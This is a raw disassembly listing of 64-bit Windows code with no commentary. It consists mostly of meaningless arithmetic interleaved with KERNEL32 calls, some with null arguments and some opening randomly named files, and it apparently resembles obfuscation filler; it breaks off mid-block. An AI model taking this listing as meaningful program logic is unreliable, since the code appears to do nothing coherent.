call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov rax, qword [0x14022c020]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x20a4]
add eax, ecx
mov word [rsp + 0x1d4c], ax
mov rax, qword [rsp + 0xb338]
mov eax, dword [rax]
mov dword [rsp + 0x4d88], eax
mov rax, qword [rsp + 0xb7b0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb620]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbb88]
mov byte [rcx], al
mov rax, qword [rsp + 0xb288]
mov rcx, qword [rsp + 0xc4c0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9d98], rax
mov rax, qword [rsp + 0x9188]
mov qword [rsp + 0xd3d0], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.d7nySvhJHpMDUtINge5jacX2ON
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xd3d8], rax
lea rax, [rsp + 0x2070]
mov qword [0x14022c098], rax
movzx eax, word [0x14022a0cc]
mov rcx, qword [rsp + 0xcee0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xa58], ax
lea rax, [rsp + 0x250]
mov qword [rsp + 0xd3e0], rax
mov eax, dword [rsp + 0x492c]
mov rcx, qword [rsp + 0xa650]
mov qword [rsp + 0xd3e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd3e8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4750], eax
lea rdx, [rsp + 0x4c8c]
mov rcx, qword [rsp + 0xaa28]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4c1c], eax
mov rax, qword [rsp + 0x9188]
mov rcx, qword [rsp + 0xb8c8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ca8], rax
mov rax, qword [rsp + 0xc6a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9398]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8b10], rax
movsx eax, byte [rsp + 0x395]
movsx ecx, byte [rsp + 0x3b2]
and eax, ecx
mov rcx, qword [rsp + 0xaa18]
mov byte [rcx], al
mov r9d, 2
xor r8d, r8d
mov edx, 0xba23
mov rcx, qword [rsp + 0xa008]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4d8c], eax
mov rax, qword [rsp + 0xa9e0]
mov eax, dword [rax]
mov dword [rsp + 0x4d90], eax
mov rcx, qword [rsp + 0x9ef8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movsx eax, word [rsp + 0x1ee0]
mov rcx, qword [rsp + 0xc2b0]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xbf08]
mov word [rcx], ax
mov rax, qword [rsp + 0xbb10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f88]
or eax, ecx
mov word [0x14022a1c8], ax
mov rax, qword [rsp + 0xd088]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7288]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x8170], rax
movzx eax, word [rsp + 0x1a0c]
movzx ecx, word [0x14022bc08]
add eax, ecx
mov word [rsp + 0x1c08], ax
movsx eax, word [rsp + 0xb4c]
mov rcx, qword [rsp + 0xb020]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xc34], ax
mov rax, qword [rsp + 0xc990]
mov rax, qword [rax]
mov qword [rsp + 0xd3f0], rax
mov rax, qword [rsp + 0xd3b8]
movsx eax, byte [rax]
movsx ecx, byte [0x14022b817]
sub eax, ecx
mov rcx, qword [rsp + 0x9c20]
mov byte [rcx], al
lea rax, [rsp + 0x4044]
mov qword [rsp + 0xd3f8], rax
mov rax, qword [rsp + 0xc7b0]
mov rcx, qword [rsp + 0xc4f0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc6b8], rax
mov rax, qword [rsp + 0xd080]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbb68]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1d4c], ax
mov rax, qword [rsp + 0xbfe8]
mov rcx, qword [rsp + 0x72e8]
and rcx, rax
mov rax, rcx
mov rcx, qword [0x14022b980]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x1ca]
movzx ecx, byte [rsp + 0x3de]
sar eax, cl
mov byte [rsp + 0x2ef], al
mov rax, qword [rsp + 0xc310]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4d1c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9bb0]
mov dword [rcx], eax
lea rcx, [rsp + 0x9dc0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xc328]
movzx eax, word [rax]
mov word [rsp + 0x2170], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTapeStatus]
lea rcx, [rsp + 0xc140]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx eax, word [rsp + 0x1ed0]
mov rcx, qword [0x14022bee0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xa88], ax
mov rax, qword [rsp + 0xc908]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x8c10]
shl rax, cl
mov qword [rsp + 0xa098], rax
mov rax, qword [rsp + 0x97b8]
mov eax, dword [rax]
mov dword [rsp + 0x4d94], eax
mov rax, qword [rsp + 0xa478]
movsx eax, byte [rax]
movsx ecx, byte [0x14022b812]
add eax, ecx
mov byte [rsp + 0x8e], al
mov rax, qword [rsp + 0xc040]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xba98]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x14c8], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xd400], rax
lea rax, [rsp + 0x1a28]
mov qword [0x14022c0a0], rax
mov rax, qword [rsp + 0xc428]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbb78]
mov qword [rsp + 0xd408], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd408]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xb140], rax
mov rax, qword [rsp + 0xcde8]
mov qword [rsp + 0xd410], rax
mov rax, qword [rsp + 0xb578]
mov rcx, qword [rsp + 0xca90]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9780], rax
lea rcx, [rsp + 0xcbd0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movsx eax, word [rsp + 0x2158]
movsx ecx, word [rsp + 0x1cec]
add eax, ecx
mov word [rsp + 0x1da8], ax
movsx eax, byte [rsp + 0x3c0]
mov rcx, qword [rsp + 0xb128]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x243], al
mov rax, qword [rsp + 0xa668]
mov rcx, qword [rsp + 0x9b58]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xc3b8], rax
mov eax, dword [0x14022ba3c]
mov dword [rsp + 0x4d98], eax
mov rax, qword [rsp + 0xa258]
mov rcx, qword [rsp + 0xd1d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xafa0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaf08]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3f3]
add eax, ecx
mov byte [rsp + 0xaf], al
mov rax, qword [rsp + 0x9c18]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9890]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x14022bf68], ax
lea rax, [rsp + 0x1cac]
mov qword [rsp + 0xd418], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rax, qword [rsp + 0x9e98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x87c]
xor eax, ecx
mov rcx, qword [rsp + 0xc9d0]
mov word [rcx], ax
mov rax, qword [rsp + 0x9e70]
mov rax, qword [rax]
mov qword [rsp + 0xd420], rax
movsx eax, byte [rsp + 0xa4]
mov rcx, qword [rsp + 0x9e28]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x393], al
mov eax, dword [0x14022a13c]
mov rcx, qword [rsp + 0xa3d8]
mov qword [rsp + 0xd428], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd428]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xa958]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc1f0]
mov rcx, qword [rsp + 0xcf90]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x74d0], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x8e51
mov rcx, qword [rsp + 0xb9b8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4aa0], eax
movsx eax, word [rsp + 0x1cec]
mov rcx, qword [rsp + 0xafd0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa460]
mov word [rcx], ax
lea rcx, [rsp + 0xd430]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
movzx eax, word [0x14022b898]
mov word [rsp + 0x2174], ax
mov rax, qword [rsp + 0xb478]
mov rcx, qword [rsp + 0x8360]
mov rax, qword [rax]
add rax, rcx
mov qword [0x14022a058], rax
mov rax, qword [rsp + 0xad80]
movzx eax, word [rax]
movzx ecx, word [0x14022b9e4]
and eax, ecx
mov word [rsp + 0x1f6c], ax
mov rax, qword [rsp + 0x9b60]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x8d08]
sar rax, cl
mov rcx, qword [rsp + 0xb0f8]
mov qword [rcx], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x57dc
mov rcx, qword [rsp + 0x9c38]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x48b4], eax
mov rax, qword [rsp + 0xd228]
mov rcx, qword [rsp + 0xcb48]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8bd8], rax
mov rax, qword [rsp + 0xc228]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x364]
add eax, ecx
mov rcx, qword [rsp + 0xac20]
mov byte [rcx], al
mov rax, qword [rsp + 0x9b08]
mov qword [rsp + 0xd438], rax
mov rax, qword [rsp + 0xcc58]
mov rcx, qword [rsp + 0xb7e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4134], eax
lea rax, [0x140229f1d]
mov qword [rsp + 0xd440], rax
mov rax, qword [rsp + 0xc0c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4530]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3b40], eax
mov rax, qword [rsp + 0xa1f8]
movzx eax, word [rax]
mov word [0x14022c0a8], ax
mov rax, qword [rsp + 0xadc0]
movsx eax, word [rax]
movsx ecx, word [0x14022bc94]
sub eax, ecx
mov word [rsp + 0x194c], ax
lea rax, [rsp + 0x1e04]
mov qword [rsp + 0xd448], rax
movzx eax, word [rsp + 0x1ecc]
mov rcx, qword [rsp + 0xcee0]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xaf68]
mov word [rcx], ax
mov eax, dword [rsp + 0x4938]
mov dword [rsp + 0x4d9c], eax
mov rax, qword [rsp + 0xcdf0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x7230]
shl rax, cl
mov qword [rsp + 0xa0e0], rax
movsx eax, byte [rsp + 0x38a]
movsx ecx, byte [rsp + 0xd1]
xor eax, ecx
mov byte [rsp + 0x13f], al
mov rax, qword [rsp + 0x9c00]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1e28]
sar eax, cl
mov word [rsp + 0x880], ax
movzx eax, word [rsp + 0x1d94]
mov rcx, qword [rsp + 0xa778]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9e40]
mov word [rcx], ax
mov rax, qword [rsp + 0x6f70]
mov rcx, qword [rsp + 0x9478]
sub rcx, rax
mov rax, rcx
mov qword [0x14022a1d0], rax
mov rax, qword [rsp + 0xa938]
mov qword [rsp + 0xd450], rax
mov rax, qword [rsp + 0xa4a8]
mov rcx, qword [rsp + 0x73a0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9418], rax
mov rax, qword [0x14022b8d8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xbd00]
sar rax, cl
mov qword [rsp + 0x7568], rax
lea rax, [rsp + 0x1ca4]
mov qword [rsp + 0xd458], rax
mov rax, qword [rsp + 0x9bb0]
mov rcx, qword [rsp + 0xb470]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xd2e0]
mov dword [rcx], eax
lea rax, [0x140229f1d]
mov qword [rsp + 0xd460], rax
mov eax, dword [rsp + 0x4b88]
mov ecx, dword [rsp + 0x4ad4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4774], eax
mov rax, qword [rsp + 0xc810]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc3e0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x2ff], al
mov rax, qword [rsp + 0x7610]
mov rcx, qword [rsp + 0x9d18]
and rcx, rax
mov rax, rcx
mov rcx, qword [0x14022b818]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd240]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xaa4]
or eax, ecx
mov word [rsp + 0x1704], ax
movsx eax, word [rsp + 0x86c]
mov rcx, qword [0x14022bbe8]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xc2b0]
mov word [rcx], ax
mov rax, qword [rsp + 0xd448]
movzx eax, word [rax]
mov word [rsp + 0x2178], ax
mov rax, qword [rsp + 0xb330]
mov rcx, qword [rsp + 0xb3f0]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa820]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb0f0]
movzx ecx, al
mov rax, qword [rsp + 0xbbe8]
shr rax, cl
mov qword [rsp + 0x8af8], rax
mov rax, qword [rsp + 0xa858]
imul eax, dword [rax], 0xe1dd
mov dword [rsp + 0x491c], eax
movsx eax, byte [rsp + 0x39b]
movsx ecx, byte [0x14022b817]
sub eax, ecx
mov byte [rsp + 0x2dd], al
lea rax, [rsp + 0x1db8]
mov qword [rsp + 0xd468], rax
mov rax, qword [rsp + 0xa5c8]
movzx eax, word [rax]
mov word [0x14022c0ac], ax
mov rax, qword [rsp + 0xc5c0]
mov rcx, qword [rsp + 0xbea0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd088]
mov qword [rcx], rax
lea rax, [0x14022b898]
mov qword [rsp + 0xd470], rax
movzx eax, byte [rsp + 0x3ca]
mov rcx, qword [rsp + 0xaa08]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xf3], al
mov rax, qword [rsp + 0x9b38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4010]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4344], eax
mov eax, dword [rsp + 0x4bfc]
mov dword [rsp + 0x4da0], eax
mov rax, qword [rsp + 0xa7e0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xac70]
shr rax, cl
mov qword [rsp + 0x8488], rax
movzx eax, byte [rsp + 0x33d]
mov byte [rsp + 0x408], al
movsx eax, word [rsp + 0x1cd8]
movsx ecx, word [rsp + 0x1e10]
sub eax, ecx
mov rcx, qword [rsp + 0xd1e8]
mov word [rcx], ax
mov rax, qword [rsp + 0xc4a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb100]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x14022bfd0]
mov word [rcx], ax
mov rax, qword [rsp + 0xae60]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8800]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9cf0], rax
mov rax, qword [rsp + 0xa990]
mov rcx, qword [rsp + 0xc7c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x8d00], rax
movsx eax, word [rsp + 0x1e78]
movsx ecx, word [rsp + 0x2118]
shl eax, cl
mov rcx, qword [rsp + 0xc738]
mov word [rcx], ax
lea rax, [0x140229f28]
mov qword [rsp + 0xd478], rax
mov rax, qword [rsp + 0xc610]
mov rcx, qword [rsp + 0x7b28]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x9650], rax
lea rax, [rsp + 0x3b7]
mov qword [rsp + 0xd480], rax
mov rax, qword [0x14022bfc0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3ae0]
shr eax, cl
mov dword [rsp + 0x3da8], eax
mov rax, qword [rsp + 0x9ed8]
mov rcx, qword [rsp + 0xb0b0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9cd0]
mov qword [rcx], rax
movsx eax, word [rsp + 0xb7c]
movsx ecx, word [rsp + 0x1fb8]
sub eax, ecx
mov word [0x14022a1d8], ax
movzx eax, word [0x14022a148]
mov word [rsp + 0x217c], ax
movzx eax, byte [rsp + 0x3d5]
mov rcx, qword [rsp + 0xb360]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9e10]
mov byte [rcx], al
lea rcx, [rsp + 0xc730]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xc4d8]
mov ecx, dword [rsp + 0x4ab0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3aa0], eax
mov rax, qword [0x14022b840]
mov rcx, qword [rsp + 0x9088]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9d68]
mov qword [rcx], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov r9d, 0x1ce2
xor r8d, r8d
lea rdx, [rsp + 0x9ef8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4ae4], eax
mov rax, qword [rsp + 0xa070]
movzx ecx, al
mov rax, qword [rsp + 0x8500]
shr rax, cl
mov rcx, qword [rsp + 0xc778]
mov qword [rcx], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x328b
mov rcx, qword [rsp + 0xa4c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4a24], eax
mov rax, qword [0x14022bbe0]
mov eax, dword [rax]
mov dword [rsp + 0x4da4], eax
movsx eax, byte [rsp + 0x371]
mov rcx, qword [rsp + 0xbeb8]
movsx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0xa4], al
mov rax, qword [rsp + 0xc8e0]
movzx eax, word [rax]
mov word [rsp + 0x2180], ax
movzx eax, word [rsp + 0xa64]
mov rcx, qword [rsp + 0xb110]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14022beb8]
mov word [rcx], ax
mov rax, qword [rsp + 0xca50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9120]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd390]
mov qword [rcx], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.xeRINSUXhLZsw3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xd488], rax
movzx eax, word [rsp + 0x1d90]
mov rcx, qword [rsp + 0xc7e8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1468], ax
mov r9d, 2
xor r8d, r8d
mov edx, ILIsParent
mov rcx, qword [rsp + 0xbb58]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4944], eax
mov rax, qword [0x14022bd50]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x20e0]
xor eax, ecx
mov word [rsp + 0x10b8], ax
mov rax, qword [rsp + 0xcba0]
mov rcx, qword [rsp + 0xbaf8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x8360], rax
mov rax, qword [rsp + 0xa6e0]
mov rax, qword [rax]
mov qword [rsp + 0xd490], rax
mov eax, dword [rsp + 0x3e6c]
mov rcx, qword [rsp + 0xa048]
mov qword [rsp + 0xd498], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd498]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x49e0], eax
mov rax, qword [rsp + 0xbd20]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x373]
add eax, ecx
mov byte [rsp + 0x349], al
movzx eax, word [0x14022b89c]
movzx ecx, word [rsp + 0x2108]
sar eax, cl
mov word [rsp + 0x105c], ax
mov rax, qword [rsp + 0xc498]
mov rcx, qword [rsp + 0xa1e0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [0x14022baf8]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x115]
movzx ecx, byte [0x140229f1d]
and eax, ecx
mov byte [rsp + 0x396], al
lea rax, [rsp + 0x4134]
mov qword [rsp + 0xd4a0], rax
mov rax, qword [rsp + 0x9bd0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc230]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xcfe0]
mov word [rcx], ax
mov rax, qword [rsp + 0xc6c0]
movzx eax, word [rax]
mov word [rsp + 0x2184], ax
movsx eax, byte [0x14022b813]
mov rcx, qword [rsp + 0xa490]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x39b], al
mov rax, qword [rsp + 0x7cd0]
mov rcx, qword [rsp + 0xc320]
mov qword [rsp + 0xd4a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd4a8]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x94a8], rax
mov rax, qword [rsp + 0xa818]
mov eax, dword [rax]
mov dword [rsp + 0x4da8], eax
movsx eax, word [0x14022a1d8]
mov rcx, qword [rsp + 0xd180]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x215c], ax
mov r9d, 0x159d
xor r8d, r8d
lea rdx, [rsp + 0xa2e8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x46f0], eax
movzx eax, word [rsp + 0x1fe8]
mov word [0x14022c0b0], ax
mov rax, qword [0x14022bd58]
mov rcx, qword [rsp + 0xb6f0]
mov qword [rsp + 0xd4b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd4b0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x75d8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x9d48]
mov rcx, qword [rsp + 0xd088]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xb980], rax
mov rax, qword [rsp + 0xbd88]
mov rcx, qword [rsp + 0xc2b8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xc168], rax
mov rax, qword [0x14022bdd0]
movzx eax, word [rax]
mov word [rsp + 0x2188], ax
mov eax, dword [rsp + 0x49e4]
mov ecx, dword [rsp + 0x3ef4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4754], eax
mov rax, qword [rsp + 0xb200]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8c50]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7f30], rax
movsx eax, byte [0x14022b814]
mov rcx, qword [rsp + 0xb1c8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xc518]
mov byte [rcx], al
mov eax, dword [rsp + 0x44e0]
mov rcx, qword [rsp + 0xaeb0]
mov qword [rsp + 0xd4b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd4b8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4494], eax
lea rax, [rsp + 0x28e]
mov qword [rsp + 0xd4c0], rax
lea rdx, [rsp + 0x4b24]
mov rcx, qword [rsp + 0xc400]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4ae8], eax
movzx eax, word [rsp + 0xf58]
mov word [0x14022c0b4], ax
movzx eax, word [rsp + 0x9d8]
mov rcx, qword [rsp + 0xd388]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2130], ax
mov rax, qword [rsp + 0xd020]
movzx eax, word [rax]
mov word [rsp + 0x218c], ax
mov rax, qword [0x14022bc20]
mov rcx, qword [rsp + 0x98e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xbd88], rax
lea rax, [rsp + 0x484c]
mov qword [rsp + 0xd4c8], rax
mov rax, qword [rsp + 0xbc78]
mov rcx, qword [rsp + 0xbac0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xcee8]
mov qword [rcx], rax
mov rax, qword [0x14022b9d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x3a4]
cdq
idiv ecx
mov rcx, qword [rsp + 0xae30]
mov byte [rcx], al
mov rax, qword [rsp + 0xce68]
movzx eax, word [rax]
mov word [rsp + 0x2190], ax
mov r9d, 0x1b5
xor r8d, r8d
lea rdx, [rsp + 0xac98]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4dac], eax
movzx eax, word [rsp + 0x1fc8]
mov rcx, qword [rsp + 0xcdd8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xd470]
mov word [rcx], ax
mov rax, qword [rsp + 0xb938]
mov rcx, qword [rsp + 0xbea8]
add rcx, rax
mov rax, rcx
mov qword [0x14022a078], rax
mov rax, qword [rsp + 0xbca0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x20f4]
sar eax, cl
mov word [rsp + 0x1300], ax
lea rcx, [rsp + 0xd008]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xca90]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xa0a8]
shl rax, cl
mov qword [rsp + 0x8f98], rax
mov rax, qword [rsp + 0xc830]
mov rcx, qword [rsp + 0xb6b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xc640]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3fb8]
mov dword [rsp + 0x4db0], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0x4f2
mov rcx, qword [rsp + 0xc268]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4adc], eax
mov rax, qword [rsp + 0xb2f8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x219]
or eax, ecx
mov byte [rsp + 0x279], al
mov rax, qword [rsp + 0xa350]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbdc8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xb8], al
mov eax, dword [rsp + 0x4400]
mov ecx, dword [rsp + 0x4ccc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa780]
mov dword [rcx], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.wMUMXgW5pczayRxrTZ5yZhAONUCeZnb6cB
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xd4d0], rax
mov r9d, 0x2206
xor r8d, r8d
lea rdx, [rsp + 0xc1a0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4918], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
mov rax, qword [rsp + 0x9258]
mov rcx, qword [rsp + 0x95a0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa698]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc218]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9ee0]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x14022a1dc], ax
mov rax, qword [0x14022bf00]
movzx eax, word [rax]
mov word [rsp + 0x2194], ax
lea rcx, [rsp + 0x9dc8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx eax, word [rsp + 0x163c]
mov rcx, qword [rsp + 0xaa10]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x15f4], ax
lea rax, [rsp + 0x1f98]
mov qword [rsp + 0xd4d8], rax
mov eax, dword [rsp + 0x3b30]
mov ecx, dword [rsp + 0x424c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x480c], eax
mov rax, qword [rsp + 0xae50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb390]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd438], rax
mov rax, qword [rsp + 0x9e80]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x312]
and eax, ecx
mov byte [rsp + 0x2cb], al
movsx eax, word [rsp + 0x1fa8]
mov rcx, qword [rsp + 0xa050]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xb270]
